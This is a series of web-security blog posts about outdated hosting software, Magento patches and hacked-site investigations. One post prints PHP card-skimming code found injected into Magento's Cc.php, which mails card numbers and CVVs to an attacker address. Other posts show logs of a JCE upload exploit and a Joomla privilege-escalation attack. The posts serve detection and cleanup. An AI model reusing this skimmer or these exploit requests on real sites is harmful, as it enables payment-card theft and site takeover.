White Fir Design Blog

Checking For Outdated Plesk Installations or InfoRiskToday’s Bad Security

One of the biggest obstacles we see to improving website security is that many of the organizations that should be leading on security are not even taking basic website security measures themselves. One type of organization we see that with is news organizations that cover web security. Previously we discussed several that were running very out of date and insecure versions of Drupal. This time we will use InfoRiskToday, which describes itself as providing “credible, timely information that security leaders can put to use as they craft comprehensive information security strategies”, to highlight a security risk and several tools that we provide that can make detecting it relatively easy.

Plesk is control panel software that runs under a website and permits management of the software on the server and configuring the server. It also has had serious security vulnerabilities that have lead to many websites being hacked (one example being a major hack at Media Temple). The way to remain relatively secure against that sort of thing is to keep Plesk up to date, as should be done with all software. Unfortunately what we have seen is that there are still servers using Plesk 9, for which extended support ended back in June of last year. Since it isn’t supported anymore, if a new security vulnerability was found it wouldn’t be fixed, so Plesk should be updated to a supported version as soon possible to keep it secure.

We have created a pair of web browser extensions available for Chrome that can make checking for such an outdated Plesk installation relatively easy. The first one, Control Panel Login, looks for HTTP headers that indicate that Plesk is in use and when found displays the Plesk logo in the URL bar. Here is how looks when you visit InfoRiskToday’s website:

Plesk Icon Shown When Visiting InfoRiskToday's Website

Clicking on the icon takes you to the standard URL for logging on to Plesk from the website. Our second extension then comes in to play. Control Panel Version Check will display an icon in the URL bar if it detects that a page with Plesk version information is being visited. Clicking on the icon will then display the version information and indicate if it is outdated. In InfoRiskToday’s case you can see that they are still using Plesk 9:

InfoRiskToday is running Plesk 9.5.4

HostGator Using Unsupported Version of cPanel

When it comes to the security of your website, your web host plays an important part but too often they are failing do what they need to do to keep your website secure. One of things they should be doing is keeping software on the server up to date as that prevents your website from being exploited due to a known vulnerability in the software.

To make it easier to spot when web hosts are using outdated control panel software we released the Control Panel Version Check extension, available for Firefox and Chrome, back in December. Using it you can see that HostGator is using an outdated version of cPanel:

The version of cPanel they are running, 11.36, has only been unsupported for a week now so the situation isn’t nearly as bad as many of the hosts we highlight for running years out of date software. But what makes it worth highlighting is that on HostGator’s website they say that they provide the “Latest cPanel Control Panel”:

The latest version at this point is 11.42, which was released a couple of weeks ago. If you are going to tout that you are using the latest version of cPanel then it is really unacceptable to not even be using a supported version.

In addition to the outdated cPanel, HostGator is using a year out of date version of phpMyAdmin:

There have been a number of serious security vulnerabilities fixed in subsequent versions of phpMyAdmin.

Most Hackers Won’t Bother Checking What Version of Software Is in Use On a Website

When it comes to bad security advice, one of the most prominent items is that hiding what version of software you are running will provide you with protection. The reality is that in most cases hackers won’t even bother checking if you are running the software before attempting to exploit a hack. Will show you an example of that in a second, but the important take away is that if you are running software with known vulnerabilities the solution is to to update the software instead of trying to hide what version you are running because if you are running a vulnerable version you are going to get hacked no matter how hard you try to hide the version.

When people promote hiding the version in use they are actually making website less secure because it makes it harder for people to see that someone is running an outdated version that needs to updated and warn them. Google’s Webmaster Tools provides alerts when outdated software is in use, but that only works when the version information is available. We have created a web browser extension that warns when various outdated software is in use according to the meta generator on the page, but that only works if that version information hasn’t been removed from the page.

BOT for JCE

Outdated versions of the Joomla extension JCE contain a very serious security vulnerability that allows a hacker to upload files to a website. Exploitation of this vulnerability has been a common cause of the hackings among the hacked Joomla websites we have cleaned up. This would seem to due in part due to ease that someone can exploit it due to the fact that the disclosure included PHP code that handles exploiting the vulnerability. It easy to spot if that code has been used as the user agent left in the log files is “BOT/0.1 (BOT for JCE)”. Our website doesn’t even run on Joomla, but we have had numerous attempts to exploit outdated versions of the JCE extensions anyway. Some of the attempts just appear to completely untargeted (probably someone trying the exploit on every website), while a lot of others appear to be based simply on the word joomla being in a URL on the website. Our recent logs show a significant spikes in attempts after we had a post on a security vulnerability in Joomla. The log entries for one of those attempts is shown below and the important element to note is that the hacker starts out by trying to exploit the vulnerability. They make no attempt to check if a vulnerable version of JCE is in use, that JCE is in use, or that Joomla is even in use first. Any attempt to hide what version of JCE or Joomla would have no impact of the vulnerability being exploited.

174.34.252.13 – – [03/Feb/2014:01:01:08 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1” 500 885 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:08 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1” 404 5923 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:08 -0500] “POST /blog/2014/01/14/vulnerability-in-joomla-1-6-1-7-and-2-5-0-2-5-2-being-exploited-now/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1” 500 885 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:08 -0500] “POST /blog/2014/01/14/vulnerability-in-joomla-1-6-1-7-and-2-5-0-2-5-2-being-exploited-now/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1” 404 6290 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:10 -0500] “POST /blog/2014/01/14/vulnerability-in-joomla-1-6-1-7-and-2-5-0-2-5-2-being-exploited-now/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1” 500 885 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:10 -0500] “POST /blog/2014/01/14/vulnerability-in-joomla-1-6-1-7-and-2-5-0-2-5-2-being-exploited-now/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1” 404 6290 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:11 -0500] “GET /blog/2014/01/14/vulnerability-in-joomla-1-6-1-7-and-2-5-0-2-5-2-being-exploited-now/images/stories/food.php?rf HTTP/1.1” 404 6237 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6”
174.34.252.13 – – [03/Feb/2014:01:01:09 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1” 500 885 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:19 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1” 404 5923 “-” “BOT/0.1 (BOT for JCE)”
174.34.252.13 – – [03/Feb/2014:01:01:20 -0500] “GET /images/stories/food.php?rf HTTP/1.1” 404 5921 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6”

Upgrading From OpenX to Revive Adserver Is a Minor Upgrade

We have recently gotten a number of questions about how much disruption upgrading from OpenX to the new Revive Adserver causes and as other undoubtedly have the same questions we wanted to address those for a wider audience. The good news is that the upgrade should be seamless in most instances. While the software has new name – due to ownership of the software being transferred – and a jump in version number from 2.8 to 3.0, the changes so far have been under the hood. This means that you won’t have to make changes to zones, campaigns, banners, ad positions, etc.

Two of the releases of Revive Adserver (3.0.0 and 3.0.2) have fixed security vulnerabilities that could lead to the ad server being hacked, so if you haven’t upgrading yet you should do that as soon as possible. There have also been bug fixes and modernization, including support for PHP 5.4 and 5.5, included in the new versions so far.

If you have previously done an upgrade between versions of OpenX 2.8 then you should find the process to be the same when upgrading to Revive Adserver.

So far the only issue we have run in to with the upgrade is that in one instance the upgrade failed to remove the OpenX Market plugin, which had been deprecated. The failure to remove that caused the admin interface to not work due to a Failed Opening Required error for the file /lib/ox/m2M/xmlrpcexecutor.php. If that occurs you can delete the /www/admin/plugins/oxMarket/ directory allowing access to the admin interface where you can fully remove the plugin and the openXWorkflow plugin, which should also have been removed.

If you are looking for someone to handle the upgrade for you, we can do a one-time upgrade for you or we can handle upgrades on an ongoing basis for you (insuring that you always get security fixes applied within a day of their release).

AT&T Enterprise’s Security Blog Running on Outdated and Insecure Version of WordPress

What we see over and over when it comes to web security is that security providers don’t take basic security measures with their own websites, which doesn’t give much confidence that they will make sure their customer’s security is handled properly and goes a long way to showing why web security is so bad. We can now add AT&T’s Enterprise division to that group. They provide a variety of security services including security consulting, which they could probably use for their own website as their Security Blog is running an outdated version of WordPress:

Keeping software running a website is a basic security measures as it insures that a known vulnerability in the software can be exploited. In AT&T’s case they have failed to update the software in nearly six months and more importantly they failed to update after WordPress 3.6.1 was released in September. WordPress 3.6.1 fixed three security issues including one that could “lead to remote code execution” and users were strongly encouraged to “update your sites immediately”. Considering how easy it is to update WordPress AT&T doesn’t have an excuse for not doing it.

Magento Releases PHP 5.4 Patches for Magento 1.6.0.0-1.8.1.0

Last month we discussed Magento’s lack of official support for PHP 5.4 despite the fact that web hosts had been making the move to at least that version and questions raised by that. Magento has now released patches to make Magento 1.6.0.0-1.8.1.0 compatible with PHP 5.4. You can get the patches on the Magento Download page in the Magento Community Edition Patches section of the page.

All of the patches modify the following files:
/app/code/core/Mage/Catalog/Model/Product.php
/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php

All of the patches except for the one 1.8.0.0-1.8.1.0 modify:
/app/code/core/Mage/Install/etc/config.xml app/code/core/Mage/Install/etc/config.xml

A new file is added at:
/app/code/core/Zend/Pdf/FileParserDataSource.php

In our previous post we mentioned that we still found that Magento 1.3 would work with PHP 5.4, so older versions can still could probably be used, though you could run into an issue.

For those who can’t use the patches ~~we will be putting out a set of patched files, as we do with the Magento security patches, soon~~ you can use the patched files we have put together.

More of Rackspace’s Bad Security

We previously touched on Rackspace’s bad security when it comes to their clients, but they also don’t feel the need to take a basic security measure with their own website. That basic security measure being that that you should keep software running on your website up date. By doing that you prevent your website from being able to exploited though a known vulnerability in older versions of the software.

Rackspace’s Knowledge Center website is still running Drupal 7.18:

That version is now a year out of date and Rackspace has failed to apply four security updates (7.19, 7.20, 7.24, and 7.26). With each of those security updates it has been urged that “Sites are urged to upgrade immediately after reading the security announcement.”. Updating between versions of Drupal 7 is relatively easy, so there isn’t any excuse for them not to have updated it. It also raises the question if Rackspace is handling the rest of their security, much of which is not as visible, as poorly as they are with this.

Credit Card Compromises in Magento

On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.

What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address pacarding@yahoo.co.id.

$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();
$ip=$_SERVER[‘REMOTE_ADDR’];

$today = date(“F j, Y, g:i a”);
$to = “pacarding@yahoo.co.id”;
$subject = “CC-example.com”;
$message=”$owner\n$ccnumber\n$expmont\n$expyear\n$issue\n$ip”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;
mail($to,$subject,$message,$headers);

We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.

If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.

Vulnerability in Joomla 1.6, 1.7, and 2.5.0-2.5.2 Being Exploited Now

When people contact us about hacked website they often state that there website must have been hacked due to running an outdated version of a CMS (WordPress, Joomla, Drupal, etc.). In most cases this isn’t true; there are a number of other issues that lead to most hackings. Unfortunately there are a lot of people providing security advice – including web hosts and security companies – who don’t know what they are talking about that will tell people that website must have been hacked due to an outdated CMS without actually determining that, which likely leads to the people contacting us believing that. Because we actually determine how a website gets hacked we actually know when it is a vulnerability in an outdated version of a CMS that is at fault and it is worth mentioning.

Based on a website we just cleaned up we can see that a vulnerability that existed in Joomla 1.6, 1.7, and 2.5.0-2.5.2 is actively being exploited now. The vulnerability isn’t new; it was publicly disclosed on March 15, 2012. Exploitation of the vulnerability isn’t new either; we found that the website had also been exploited in July and August of last year. The vulnerability allows a hacker to register a new user with “Administrator” privileges and then they can use the access provided by that user for malicious purposes. The best way to protect your website against the vulnerability is to upgrade to the latest version of Joomla 2.5, as number of other security issues have been fixed in subsequent version. If you are unable to do that in a timely manner, disabling user registration should protect the website as that will block a hacker from being able to register a new user.

Determining How a Website Got Hacked

One of the first things we do when trying to determine how a website is hacked is to look over the files. Most hacks are contained in the files and the metadata and location of the files can provide important information. In some cases the ownership of the file will point to a possible source. In other cases the last modified date on the file can be used to narrow where we need to start looking in the log files for indication of the source. In some cases the hacker sets the last modified dates on files to match other files so that cannot be done. If a hacker is using a backdoor script that they placed on the website, which allows them remote access to the website, we can find that access in the logs. In this case the last modified dates had not been tampered with by the hacker and backdoor script had been accessed, so we had a good starting point.

First up we spotted the first access to the backdoor script in the log of requests to the website (we replaced some of the identifying information from the log entries shown):

78.47.55.70 – – [07/Jan/2014:03:53:31 -0700] “GET example.com/modules/mod_administrator/config.php HTTP/1.1” 200 189 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 9 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/modules/mod_administrator/config.php” 11922

The entries right before that shed more light on the situation. They show that the same person had just logged in to the administrator area of Joomla and installed an extension. The extension they installed would have contained the backdoor script that they would access right afterwards.

78.47.55.70 – – [07/Jan/2014:03:53:22 -0700] “GET example.com/administrator/index.php HTTP/1.1” 200 4362 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 0 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 1344521
78.47.55.70 – – [07/Jan/2014:03:53:23 -0700] “POST example.com/administrator/index.php HTTP/1.1” 303 220 “http://example.com/administrator/” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 1 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 536578
78.47.55.70 – – [07/Jan/2014:03:53:24 -0700] “GET example.com/administrator/index.php HTTP/1.1” 200 31537 “http://example.com/administrator/” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 2 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 1282790
78.47.55.70 – – [07/Jan/2014:03:53:26 -0700] “GET example.com/administrator/index.php HTTP/1.1” 200 31537 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 3 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 231378
78.47.55.70 – – [07/Jan/2014:03:53:27 -0700] “GET example.com/administrator/index.php?option=com_installer HTTP/1.1” 200 23546 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 4 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 743778
78.47.55.70 – – [07/Jan/2014:03:53:28 -0700] “POST example.com/administrator/index.php?option=com_installer&view_install HTTP/1.1” 303 504 “mainaadmin/administrator/” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 5 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 1080171
78.47.55.70 – – [07/Jan/2014:03:53:29 -0700] “GET example.com/administrator/index.php?option=com_installer&view=install HTTP/1.1” 200 23817 “mainaadmin/administrator/” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 6 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 199474
78.47.55.70 – – [07/Jan/2014:03:53:29 -0700] “POST example.com/administrator/index.php HTTP/1.1” 200 23554 “http://example.com/administrator/index.php?option=com_installer” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 7 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 500162
78.47.55.70 – – [07/Jan/2014:03:53:30 -0700] “GET example.com/administrator/index.php?option=com_installer&view_install HTTP/1.1” 200 23529 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 8 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/administrator/index.php” 172137

Those log entries contained the username of the user that had accessed the admin, mainaadmin. With that we could take a look at the details for that user in the database to get some idea of if the user is an account that was comprised or a malicious account. The email address, ivan.kachelya@yandex.ru, was from a Russian website, so that made it likely that it was a malicious user as the website is a locally focused US website with a webmaster in the US. Also included in the data is the date the account was registered, which we could then use to see how the account was created in the log file.

The log files showed the user being created through the User Registration page:

94.244.157.180 – – [04/Jan/2014:07:43:34 -0700] “GET example.com/index.php?option=com_users&view=registration HTTP/1.1” 200 9676 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 0 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 2302755
94.244.157.180 – – [04/Jan/2014:07:43:36 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 231 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 1 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 409104
94.244.157.180 – – [04/Jan/2014:07:43:37 -0700] “GET example.com/component/users/?view=registration HTTP/1.1” 200 9611 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 2 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 279085
94.244.157.180 – – [04/Jan/2014:07:43:37 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 247 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 3 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 1082792
94.244.157.180 – – [04/Jan/2014:07:43:38 -0700] “GET example.com/component/users/?view=registration&layout=complete HTTP/1.1” 200 5977 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 4 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 290820
94.244.157.180 – – [04/Jan/2014:07:43:39 -0700] “GET example.com/index.php?option=com_user&view=register HTTP/1.1” 302 201 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 5 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 125098
94.244.157.180 – – [04/Jan/2014:07:43:39 -0700] “GET example.com/index.php?option=com_content&view=article&id=26&Itemid=162 HTTP/1.1” 200 14916 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 6 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 799530
94.244.157.180 – – [04/Jan/2014:07:43:40 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 7 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 586594
94.244.157.180 – – [04/Jan/2014:07:43:41 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 8 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 496821
94.244.157.180 – – [04/Jan/2014:07:43:44 -0700] “GET example.com/index.php?option=com_users&view=registration HTTP/1.1” 200 9539 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 9 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 288962
94.244.157.180 – – [04/Jan/2014:07:43:44 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 231 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 10 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 306529
94.244.157.180 – – [04/Jan/2014:07:43:45 -0700] “GET example.com/component/users/?view=registration HTTP/1.1” 200 9611 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 11 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 294107
94.244.157.180 – – [04/Jan/2014:07:43:45 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 231 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 12 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 305668
94.244.157.180 – – [04/Jan/2014:07:43:46 -0700] “GET example.com/component/users/?view=registration HTTP/1.1” 200 9609 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 13 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 278854
94.244.157.180 – – [04/Jan/2014:07:43:46 -0700] “GET example.com/index.php?option=com_user&view=register HTTP/1.1” 302 201 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 14 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 61939
94.244.157.180 – – [04/Jan/2014:07:43:47 -0700] “GET example.com/index.php?option=com_content&view=article&id=26&Itemid=162 HTTP/1.1” 200 14722 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 15 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 298259
94.244.157.180 – – [04/Jan/2014:07:43:47 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 16 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 497553
94.244.157.180 – – [04/Jan/2014:07:43:48 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 17 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 527134
94.244.157.180 – – [04/Jan/2014:07:43:50 -0700] “GET example.com/index.php?option=com_users&view=registration HTTP/1.1” 200 9601 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 18 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 263082
94.244.157.180 – – [04/Jan/2014:07:43:51 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 231 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 19 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 313744
94.244.157.180 – – [04/Jan/2014:07:43:51 -0700] “GET example.com/component/users/?view=registration HTTP/1.1” 200 9611 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 20 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 291806
94.244.157.180 – – [04/Jan/2014:07:43:52 -0700] “POST example.com/index.php?option=com_users&task=registration.register HTTP/1.1” 303 231 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 21 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 335271
94.244.157.180 – – [04/Jan/2014:07:43:52 -0700] “GET example.com/component/users/?view=registration HTTP/1.1” 200 9609 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 22 “redirect-handler” “/var/chroot/home/content/59/2190232/html/index.php” 279791
94.244.157.180 – – [04/Jan/2014:07:43:53 -0700] “GET example.com/index.php?option=com_user&view=register HTTP/1.1” 302 201 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 23 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 78710
94.244.157.180 – – [04/Jan/2014:07:43:53 -0700] “GET example.com/index.php?option=com_content&view=article&id=26&Itemid=162 HTTP/1.1” 200 14722 “-” “Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14” 24 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 364741
94.244.157.180 – – [04/Jan/2014:07:43:54 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 25 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 475204
94.244.157.180 – – [04/Jan/2014:07:43:54 -0700] “POST example.com/index.php?option=com_user HTTP/1.1” 200 7318 “http://example.com” “Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36” 26 “x-httpd-php” “/var/chroot/home/content/59/2190232/html/index.php” 502942

Normally a user created that way would not be an “Administrator”, which this user was, so we checked to make sure that the registration settings had not been set to do that and there were not. The question then was how the user became an “Administrator”. A likely source would be a privilege escalation vulnerability that would allow a lower level user to change their account to have “Administrator” privileges. A quick check for Joomla privilege escalation brought the vulnerability we mentioned earlier. The Joomla version in use was a vulnerable version and the log of the user registration appears to match with what needs to be done to exploit the vulnerability, so we then had the likely source of the hack.

Go Daddy Still Using phpMyAdmin Version That Hasn’t Been Supported for Two and Half Years

In the past we have mentioned a number of web hosts who were not keeping the MySQL administration software phpMyAdmin running on their servers up to date. In addition to the risk that directly poses to the websites hosted with them, due to the fact that the web host is running software with known vulnerabilities, it is indication that the web host might not be handling other parts of the security properly either.

Go Daddy is yet another web host who hasn’t kept phpMyAdmin up to date on their system. They are currently running phpMyAdmin 2.11.11.3. Support, including security updates, for the 2.11.x series ended on July 12, 2011. While running software that hasn’t been supported for two and half years is pretty bad, it pales in comparison to other web hosts who we have seen running up to seven years out of date versions. What makes Go Daddy worth mentioning is they promoted that they were using 2.11.11.3 after support had ended.

On the day after support for 2.11.x ended they put out notification about the need to update newer versions of phpMyAdmin to fix several vulnerabilities. The notification reads in part (the emphasis is theirs):

The developers of the popular browser-based MySQL tool, phpMyAdmin, recently released updates to patch multiple critical security vulnerabilities in phpMyAdmin 3.4.3 and earlier. The vulnerabilities could let attackers overwrite session information to bypass authentication, inject malicious code, or perform other actions.

Good news, though. The 2.11.x versions aren’t affected. We use phpMyAdmin version 2.11.11.3, so you don’t need to worry if you’re using our shared hosting. (But, it’s a good time to make sure all your other hosting apps are up to date. For more information, see Upgrading to a New Version of a Hosting Quick-Install Application.)

If you use phpMyAdmin 3.4.3 or earlier on a virtual or dedicated server, you must download and install the patch or latest version.

That shows that Go Daddy was aware that phpMyAdmin could contain security vulnerabilities and that it needs to be kept up to date. Yet they were touting that they were running a version that was no longer supported with security updates.

It does appear that Go Daddy made attempt to upgrade their phpMyAdmin installation around a year ago, as the phpMy Admin documentation on the server is for phpMyAdmin 3.5.5, which was released on December 20, 2012. Other web hosts are able to handle upgrading phpMyAdmin in timely manner, so it would appear Go Daddy has some serious problems if they are not even able to complete an upgrade.